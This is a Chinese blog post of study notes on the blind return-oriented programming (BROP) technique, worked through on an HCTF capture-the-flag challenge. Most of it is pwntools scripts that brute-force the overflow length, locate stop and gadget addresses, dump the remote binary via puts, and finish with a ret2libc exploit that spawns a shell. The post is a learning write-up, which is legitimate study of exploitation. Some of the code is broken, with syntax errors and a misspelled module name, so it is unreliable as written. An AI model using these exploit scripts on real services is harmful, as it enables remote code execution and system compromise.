首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN-BROP笔记

PWN-BROP笔记

作者头像
yichen
发布2020-03-06 09:26:09
8430
发布2020-03-06 09:26:09
举报

BROP

BROP是在没有给出题目文件的情况下,只能通过尝试来确定栈的大小,以及其他函数啥的地址

攻击条件

程序必须存在溢出漏洞,以便攻击者可以控制程序流程

进程崩溃以后可以重启,而且重启之后的地址与先前的地址一样

基本思路

首先通过枚举,判断栈溢出长度,然后通过 Stack Reading 获取栈上的数据来获取canary以及ebp和返回地址

再找到足够多的 gadget 来控制输出函数的参数并进行调用,利用输出函数来dump出程序来找到更多的gadget

栈溢出

从 1 开始暴力枚举,直到程序崩溃

Stack Reading

通过按照字节爆破比枚举数值更快 每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次

找到canary的值

Blind ROP

调用write函数最方便的方法是系统调用号,然后syscall,然而syscall几乎不可能

所以可以使用libc_csu_init结尾的一段gadgets来实现,同时可以使用 plt 来获取write地址,在write的参数里面,rdx是用来限制输出长度的,一般不会为0,但是保险起见,可以同时设置一下,但是几乎没有 pop rdx 这样的指令

可以通过 strcmp 来实现,在执行 strcmp 的时候,rdx会被设置为字符串的长度,所以只要找到 strcmp 就可以实现控制rdx

接下来要做的就是:

1、找gadgets

2、找 plt 表,比如 write、strcmp

找gadget

为了能够找到 gadget,可以分为两步:

1、stop gadget,当执行这一段代码时,程序陷入无限循环,使攻击者一直保持连接状态,其根本目的在于告诉攻击者,其所测试的地址是一段gadget

2、识别gadget,这里为了方便介绍,定义栈上的三种地址:

  • Probe

探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。

  • Stop

不会使得程序崩溃的stop gadget的地址。

  • Trap

可以导致程序崩溃的地址,直接写 p64(0) 就可以

通过不同顺序构造一串 payload 就可以达到找到识别正在执行的指令的效果

比如:probe + trap + stop + trap + trap... 可以找到一个 pop xxx;ret 这样的

probe + trap + trap + trap + trap + trap + trap + stop + trap + trap... 这样的就可以找到:

pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret

ps. 在每个布局后面都放上 trap 是为了保证崩溃 probe 返回如果不是 stop 能够立即崩溃

当然,我们还是很难确定它弹的哪一个寄存器,但是,一下子连续弹 6 次的很大可能性就是 brop_gadgets

这里说的 brop_gadgets 就是之前 ret2csu 的那一部分 gadgets

同时找到的可能是一又个 stop_gadgets,可以把后面原本的 stop_gadgets 改一下,如果程序没崩溃那就是又找了一个 stop_gadgets

找某些 plt

找到了 brop_gadgets 以后,只需要根据功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的 plt

比如:

'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

如果能过把 0x400000 的内容给输出来就可以找到 put@plt 了

HCTF 出题人失踪了
测试栈空间大小的脚本:
from pwn import *
i=1
while 1:
    try:
        p=remote("127.0.0.1",9999)
        p.recvuntil("WelCome my friend,Do you know password?\n")
        p.send('a'*i)
        data=p.recv()
        p.close()
        if not data.startwith('No password'):
            return i-1
        else:
            return i+1
    execpt EOFEror:
        p.close()
        return i-1
size=getsize()
print "size is [%s]"%size

用脚本跑出来是 72

再找一个能让程序不崩溃的地址(stop_gadgets):

from pwn import *
def getStopGadgets(length):
    addr = 0x400000
    while 1:
        try:
            sh = remote('127.0.0.1',9999)
            payload = 'a'*length +p64(addr)
            sh.recvuntil("password?\n")
            sh.sendline(payload)
            output = sh.recvuntil("password?\n")
            sh.close()
            print("one stop addr: 0x%x" % (addr))
            if not output.startswith('WelCome'):
                sh.close()
                addr+=1
            else:
                return addr
        except Exception:
            addr+=1
            sh.close()
stop_gadgets = getStopGadgets(72)

stop_gadget 找了好多个,因为我是自己实验,有二进制文件,就看了一下反汇编,找到的 stop_gadget 地址要么是一个函数或者 plt 的地址,要么是一个 ret 的地址

尝试以后,感觉有两个: main 或者 _start 的地址比较正常,下面跑出来的是 _start 的

再去找 BROP_gadgets

from pwn import *
def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.startswith('WelCome'):
            return False
        return True
    except Exception:
        sh.close()
        return False
def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True
length = 72
stop_gadget = 0x4005c0
addr = 0x400000
while 1:
    print hex(addr)
    if get_brop_gadget(length, stop_gadget, addr):
        print 'possible brop gadget: 0x%x' % addr
        if check_brop_gadget(length, addr):
            print 'success brop gadget: 0x%x' % addr
            break
    addr += 1

拿到 brop_gadgets

根据之前的:我们可以发现,从找到的 brop_gadget 其中 pop r15;ret 对应的字节码为41 5f c3。后两字节码 5f c3 对应的汇编即为 pop rdi;ret

所以,pop rdi;ret 的地址就是 brop_gadget + 9

通过这个 gadget 把 put 的 plt 给打出来

from pwn import *
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4005c0
addr = 0x400740
def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            content = sh.recv()
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1
brop_gadget=0x4007ba
rdi_ret=brop_gadget+9
get_puts_addr(72,rdi_ret,stop_gadget)

拿到了 put 的地址,就可以通过 很多次的 put 把想要的内容给 dump 出来

把程序 DUMP 下来:

from pwn import *
def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 9999)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\n')
    sh.sendline(payload)
    try:
        data = sh.recv()
        sh.close()
        try:
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4005c0
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400555
addr = 0x400000
result = ""
while addr < 0x401000:
    print hex(addr)
    data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
    if data is None:
        continue
    else:
        result += data
    addr += len(data)
with open('code', 'wb') as f:
    f.write(result)

把 dump 下来的文件用 IDA 的二进制模式打开

然后把基址改成 0x400000:

编辑 -> 段 -> 重新设置基址

设置为 0x400000

在 0x400555 处,摁下 c 识别成汇编格式,可以看到 jmp 的地址是:601018h

这样就得到了 put@got 地址,知道了这个地址,再用 libcsearch 去进行 ret2libc 就可以了

from pwn import *
from LibcSearhcer import *
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 栈溢出
  • Stack Reading
  • Blind ROP
  • 找gadget
  • 找某些 plt
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档